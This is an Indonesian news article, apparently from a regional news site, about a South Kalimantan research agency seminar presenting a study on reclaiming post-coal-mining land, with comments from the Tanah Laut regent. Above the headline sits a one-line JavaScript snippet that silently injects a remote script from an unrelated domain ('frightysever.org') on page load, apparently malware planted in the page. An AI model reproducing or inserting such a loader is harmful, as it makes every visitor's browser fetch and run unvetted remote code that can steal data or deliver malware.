(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hindari Dampak Buruk, Balitbangda Kalsel Kaji Rekayasa Reklamasi Tambang


BANJARBARU, Badan Penelitian dan Pengembangan Daerah (Balitbangda) Provinsi Kalsel,  menggelar seminar akhir Kajian Rekayasa Reklamasi Lahan Pasca Tambang diProvinai Kalsel,  Rabu (2/10). Seminar berlangsung di Kantor Balibangda Kalsel, Banjarbaru dihadiri unsur peneliti, akademisi, swasta, dan instansi terkait.

Kepala Balitbangda Provinsi Kalsel, Drs H Muhammad Amin, MT menjelaskan, pentingnya kajian oleh  tim peneliti  tidak lepas dari kekhawatiran masyarakat terhadap permasalahan yang ditimbulkan pasca tambang.

Di satu sisi, sektor pertambangan, khususnya batubara masih menjadi salah satu sektor utama penopang perekonomian Kalsel. Di sisi lain, pertambangan ini juga mengkhawatirkan masyarakat yang berdampak negatif terhadap lingkungan, khususnya lubang yang dihasilkan pasca tambang atau void.

“Ini adalah beberapa hal yang mendasari kami dan para peneliti untuk melakukan penelitian dan kajian rekayasa reklamasi lahan pasca tambang di Prov Kalsel,” terangnya.

Ditambahkan Amin, pemikiran lain mendasari penelitian ini juga tidak lepas dari komitmen Gubernur Kalsel, H Sahbirin Noor terhadap lingkungan dengan program revolusi hijau.

Gubernur juga berkomitmen untuk menggali potensi ekonomi yang terbarukan untuk mengganti sektor pertambangan yang merupakan sektor tak terbarukan yang sewaktu-waktu bisa habis.

“Hal lain yang melandasi dilakukannya kajian ini adalah komitmen dari Pa Gubernur yang sangat konsen terhadap lingkungan dan komitmen beliau untuk menggali potensi ekonomi dari sumber daya terbarukan, seperti pertanian, pariwisata, ekonomi kreatif, dan lainnya,” tambahnya.

Diharapkan Amin, kajian ini dapat memberikan manfaat dan menjadi rekomendasi bagi daerah-daerah untuk mengatasi dan menjadi solusi dalam penangan lahan pasca tambang.

Sementara Kabid Litbang, Sumber Daya, Teknologi, dan Inovasi Balitbangda Provin Kalsel Murwany Viviene Antang ,BA,SE menjelaskan, kajian atau penelitian ini dilakukan di 8 daerah di Kalsel. Meliputi Tanah Laut, Tanah Bumbu, Kab Kotabaru, Kab Tapin,  Banjar,  Tabalong,  Balangan, dan Kab HSS.

Penelitian itu sendiri dipimpin  Ahmad Zaky Maulana,ST,MSc, peneliti dari balitbangda Prov Kalsel sebagai Ketua Tim, kemudian ada Yudhi Putrayanda,SSi dan Edi Budiyono,SPi,MPi dari Balitbangda Kalsel sebagai anggota. Selanjutnya ada Syaifuddin dan Edi Suryanto dari BP2 LHK Banjarbaru sebagai anggota.

Ditambahkan Murwany, kajian ini menghasilkan beberapa rekomendasi, yang terdiri 3 rekomendasi prioritas dan 9 rekomendasi bertahap. Dalam seminar ini, Balitbangda Prov Kalsel menghadirkan Bupati Tanah Laut, Sukamta dan Diana dari PT Arutmin sebagai narasumber.

Diungkapkan Bupati Tanah Laut, Sukamta, Pemkab Tanah Laut sangat memperhatikan pemanfataan lahan pasca tambang. Ia memiliki keyakinan bahwa lahan pasca tambang bisa dimanfaatkan dan memberikan manfaat yang sebesar-besarnya bagi masyarakat.

“Saya memiliki keyakinan bahwa lahan pasca tambang dapat dimanfaatkan. Kemudian lahan tersebut harus memberikan manfaat yang sebesar-besarnya bagi masyarakat, dapat mendongkrak perekonomian masyarakat,” sebutnya.

Dicontohkan Sukamta, lahan pasca tambang dapat dimanfaatkan sebagai salah satu sumber air baku di daerahnya. Dapat dimanfaatkan sebagai tempat budidaya ikan, ekowisata, lahan ternak dan pakan sapi.

“Salah satu contohnya adalah Danau Bintang yang dapat dikelola sebagai salah satu tempat wisata. Kemudian Pemkab Tanah Laut juga akan melakukan kerjasama dengan PT Arutmin untuk memanfaatkan lahan pasca tambang menjadi lahan ternak dan pakan sapi,” harapnya.

Seminar Kajian Rekayasa Reklamasi Lahan Pasca Tambang di Prov Kalsel dihadiri oleh pejabat di lingkup Pemprov Kalsel, perwakilan perusahaan tambang di Kalsel. (rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.